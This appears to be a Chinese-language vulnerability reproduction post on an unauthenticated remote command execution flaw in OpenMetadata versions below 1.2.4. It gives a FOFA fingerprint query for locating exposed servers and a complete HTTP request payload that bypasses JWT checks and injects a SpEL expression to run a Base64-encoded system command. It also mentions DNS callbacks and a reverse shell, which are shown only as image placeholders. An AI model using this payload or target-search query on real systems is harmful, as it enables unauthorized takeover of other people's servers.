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Published on 2024-08-30 / 0 Visits
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O8-1OpenMetadata-RCE

O8-1OpenMetadata-RCE

漏洞描述:

OpenMetadata存在安全漏洞,该漏洞源于当请求的路径包含任何排除的端点时,过滤器将返回而不验证 JWT。导致未经身份验证的远程攻击者可以利用该漏洞远程命令执行,获取服务器权限。

影响版本:

version < 1.2.4  

网站图片:

image-20240625114748559

网络测绘:

fofa语法:

FOFA:icon_hash=“733091897”

漏洞复现:

payload:

GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22Base64编码的命令%22))) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Connection: close

效果图:
PS:执行的命令需base64编码
打dns
image-20240619150311338 image-20240619150321638

反弹shell
image-20240619150330680
image-20240619150339078
image-20240619150346294


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